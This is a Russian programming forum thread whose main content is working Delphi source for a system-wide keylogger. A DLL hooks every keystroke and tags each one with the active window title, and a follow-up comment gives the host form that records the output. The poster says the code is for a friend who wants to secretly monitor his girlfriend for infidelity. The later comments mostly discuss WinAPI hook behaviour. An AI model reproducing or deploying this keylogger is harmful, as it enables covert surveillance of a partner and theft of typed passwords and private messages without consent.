- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
unit KHook;
interface
uses Windows, SysUtils, Messages;
const
WH_KEYBOARD_LL = 13;
LLKHF_UP = $0080;
type
TKbdHookEvent=procedure (S:WideString);
type
PKbdDllHookStruct = ^TKbdDllHookStruct;
TKbdDllHookStruct = record
vkCode: DWORD;
scanCode: DWORD;
flags: DWORD;
time: DWORD;
dwExtraInfo: PDWORD;
end;
KBDLLHOOKSTRUCT = TKbdDllHookStruct;
implementation
var
KbdProc:TKbdHookEvent=nil;
Hook:HHOOk;
WinTitle:WideString='';
function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
var
KeyName:WideString;
CurrWinTitle:WideString;
KeyState : TKeyboardState;
hklLayout:HKL;
FW:HWND;
begin
try
if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
begin
FW:=GetForegroundWindow;
hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
GetKeyboardState(KeyState);
SetLength(CurrWinTitle, 1000);
SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
with PKbdDllHookStruct(LParam)^ do
case vkCode of
VK_BACK: KeyName := '[BackSpace]';
VK_TAB: KeyName := '[Tab]';
VK_CAPITAL: KeyName := '[CapsLock]';
VK_RETURN: KeyName := '[Enter]';
VK_ESCAPE: KeyName := '[Esc]';
VK_CANCEL: KeyName := '[Cancel]';
VK_F1: KeyName := '[F1]';
{...}
VK_HELP: KeyName := '[Help]';
else
SetLength(KeyName,1);
KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
end;
if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
if WinTitle='' then
begin
WinTitle:=CurrWinTitle;
KeyName:=CurrWinTitle+' {'#13#10+KeyName;
end
else if WinTitle <> CurrWinTitle then
begin
WinTitle:=CurrWinTitle;
KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
end;
KbdProc(KeyName);
end;
finally
Result := CallNextHookEx(Hook,nCode,wParam,lParam);
end;
end;
function SetHook(lpCallBack:TKbdHookEvent):Boolean;
begin
if Assigned(lpCallBack) then
KbdProc:=lpCallBack;
Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
Result:=(Hook <> INVALID_HANDLE_VALUE);
end;
function RemoveHook:Boolean;
begin
Result:=UnHookWindowsHookEx(Hook);
end;
exports SetHook,
RemoveHook;
end.
Клавиатурный сексот на Delphi.
Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.
BagorCtretora 04.10.2018 14:09 # +1
-------------------- 04.10.2018 14:10 # −2
BagorCtretora 04.10.2018 14:21 # +1
guest8 04.10.2018 14:25 # −999
-------------------- 04.10.2018 14:45 # −1
guest8 04.10.2018 14:58 # −999
-------------------- 04.10.2018 16:34 # 0
3oJIoTou_xyu 04.10.2018 16:34 # −1
-------------------- 04.10.2018 17:50 # 0
KaKou-To_xyu 04.10.2018 20:28 # 0
guest8 04.10.2018 20:34 # −999
guest8 04.10.2018 20:34 # −999
guest8 04.10.2018 20:34 # −999
guest8 04.10.2018 20:36 # −999
guest8 04.10.2018 20:40 # −999
guest8 04.10.2018 20:44 # −999
guest8 04.10.2018 20:53 # −999
guest8 04.10.2018 20:57 # −999
guest8 04.10.2018 21:00 # −999
bormand 04.10.2018 21:02 # 0
А ещё можно было юзать копеечный кабель от древнего мобильника чтобы не распаивать эту микросхему самому.
guest8 04.10.2018 21:07 # −999
guest8 04.10.2018 21:49 # −999
guest8 04.10.2018 22:33 # −999
rosgovnadzor 05.10.2018 18:03 # 0
Его нет на сайте. Что ему передать?
OBEH 05.10.2018 18:12 # 0
guest8 05.10.2018 18:21 # −999
KaKou-To_xyu 04.10.2018 20:46 # 0
bormand 04.10.2018 20:35 # +1
guest8 04.10.2018 21:52 # −999
KaKou-To_xyu 04.10.2018 20:47 # 0
guest8 04.10.2018 21:12 # −999
bormand 04.10.2018 14:57 # +1
BagorCtretora 04.10.2018 16:35 # +1
bormand 04.10.2018 17:03 # +1
BagorCtretora 04.10.2018 17:31 # +1
[code]
type
TKbdHookEvent=procedure (S:WideString);
function SetHook(callback:TKbdHookEvent):Boolean; external 'hook';
function RemoveHook:Boolean; external 'hook';
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure Lol(S:WideString); // В коллбеке нельзя выполнять никаких длительных операций, ибо блокируется обработка сообщений в приложении-жертве.
begin
form1.Memo1.SelectAll;
Form1.Memo1.SelStart:=Form1.Memo1.SelLen gth;
form1.Memo1.SelText:=S;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
RemoveHook;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
SetHook(lol);
end;
end.
bormand 04.10.2018 17:51 # +1
bormand 04.10.2018 18:10 # +1
bormand 04.10.2018 18:19 # +1
WH_KEYBOARD_LL: This hook is called in the context of the thread that installed it.
WH_KEYBOARD: This hook may be called in the context of the thread that installed it.
Ебучее винапи, такие тонкости на ровном месте.
KaKou-To_xyu 04.10.2018 18:24 # +1
guest8 04.10.2018 20:31 # −999
guest8 04.10.2018 20:38 # −999
guest8 04.10.2018 20:39 # −999
guest8 04.10.2018 20:51 # −999
CBuHOKYP 04.10.2021 00:54 # 0
WH_KEYBOARD же более предсказуемое говно.
guest8 04.10.2018 18:25 # −999
roman-kashitsyn 04.10.2018 18:39 # +1
bormand 04.10.2018 18:40 # +1
CHayT 04.10.2018 20:05 # +3
bormand 04.10.2018 20:30 # +1
guest8 04.10.2018 20:37 # −999
KaKou-To_xyu 04.10.2018 20:55 # +1
guest8 04.10.2018 21:26 # −999
bormand 04.10.2018 21:47 # +1
Причём на js.
guest8 04.10.2018 21:51 # −999
bormand 04.10.2018 22:05 # +1
Ну а что такого? Знакомый язык, который где-то ещё может пригодиться. Из джвух говн выбирают меньшее.
Попробуй последнюю версию, она няшная. Хоть и не так хардкорно выглядит как старые, конечно.
guest8 04.10.2018 22:32 # −999
bormand 05.10.2018 07:42 # +1
Windbg preview загугли, там полно в статье от майков.
guest8 05.10.2018 04:23 # −999
guest8 05.10.2018 11:40 # −999
OBEH 05.10.2018 11:42 # +1
3oJIoTou_xyu 05.10.2018 12:06 # +1
guest8 06.10.2018 00:06 # −999
guest8 06.10.2018 00:21 # −999
guest8 06.10.2018 00:37 # −999
OBEH 06.10.2018 02:08 # +1
guest8 06.10.2018 03:25 # −999
guest8 06.10.2018 04:20 # −999
------------------- 06.10.2018 08:33 # +1
guest8 04.10.2018 20:20 # −999
KaKou-To_xyu 04.10.2018 18:24 # +1
guest8 04.10.2018 20:19 # −999
bormand 04.10.2018 20:27 # +1
Лол в том, что хуки в процессы другой битности тоже работают. Винда сама зафорвардит их в тред, который инсталлил хук. А вот хуки правильной битности могут стрельнуть в любом из этих джвух процессов.
guest8 04.10.2018 20:33 # −999
bormand 04.10.2018 20:34 # +1
guest8 04.10.2018 20:38 # −999
bormand 04.10.2018 20:40 # +1
guest8 04.10.2018 20:55 # −999
bormand 04.10.2018 20:57 # +2
> чёрным по белому
Прибавь контраста что ли... In a 64-bit process, the threads are still marked as "hooked." However, because a 32-bit application must run the hook code, the system executes the hook in the hooking app's context; specifically, on the thread that called SetWindowsHookEx.
guest8 04.10.2018 21:24 # −999
bormand 04.10.2018 21:26 # +1
guest8 04.10.2018 21:32 # −999
cmepmop 29.03.2019 22:39 # +1
Библиотека должна экспортировать функцию с именем CreateProcessNotify. Хукаются далеко не все процессы, а только те, кто подгрузил shell32. Изрядное говнецо. Я в своё время делал удаленный поток в проводник, было намного юзабельнее и чище.
KaKou-To_xyu 04.10.2018 14:36 # +1
BagorCtretora 04.10.2018 17:33 # +1
KaKou-To_xyu 04.10.2018 18:18 # +1
КРАСИВА!!!
Можно и массивы, если константы VK_BLABLA идкут попа рядку:
roman-kashitsyn 04.10.2018 18:38 # +1
маловероятно.
Можно же просто два параллельных массива сделать: с кодами и со строками, а потом линейным поиском по ним бегать. На таких размерах небось шустрее всяких там хэш-таблиц будет.
bormand 04.10.2018 18:42 # +1
guest8 04.10.2018 18:48 # −999
-------------------- 04.10.2018 19:29 # +1
------------------- 05.10.2018 12:27 # +1
guest8 04.10.2018 18:26 # −999
KaKou-To_xyu 04.10.2018 18:27 # 0
Perevedi_na_PHP 04.10.2018 23:59 # +1
-------------------- 05.10.2018 02:25 # +1
guest8 04.10.2018 20:24 # −999
KaKou-To_xyu 04.10.2018 15:08 # +1
Perevedi_na_PHP 04.10.2018 23:59 # +1
guest8 04.10.2018 17:17 # −999
BagorCtretora 04.10.2018 17:32 # +1
guest8 04.10.2018 17:44 # −999
KaKou-To_xyu 04.10.2018 19:11 # +1
bormand 04.10.2018 19:25 # +1
KaKou-To_xyu 04.10.2018 19:33 # +1
guest8 04.10.2018 20:24 # −999
guest8 04.10.2018 20:26 # −999
guest8 04.10.2018 20:28 # −999
guest8 04.10.2018 21:50 # −999
guest8 04.10.2018 22:32 # −999
guest8 04.10.2018 22:32 # −999
guest8 04.10.2018 22:32 # −999
------------------- 05.10.2018 12:16 # +1
KaKou-To_xyu 04.10.2018 20:26 # +1
fxd
guest8 04.10.2018 17:44 # −999
guest8 04.10.2018 17:45 # −999
KaKou-To_xyu 04.10.2018 19:15 # +1
-------------------- 04.10.2018 19:28 # +1
KaKou-To_xyu 04.10.2018 19:31 # 0
guest8 04.10.2018 21:53 # −999
guest8 05.10.2018 09:39 # −999
------------------- 05.10.2018 09:41 # +1
Perevedi_na_PHP 05.10.2018 19:00 # +1
Офис в Грозном.
Писать на [email protected] или [email protected].
guest8 06.10.2018 09:18 # −999
------------------- 06.10.2018 09:30 # +1
guest8 07.10.2018 02:06 # −999
Steve_Brown 08.10.2018 11:35 # +1
avamana 04.10.2021 21:01 # 0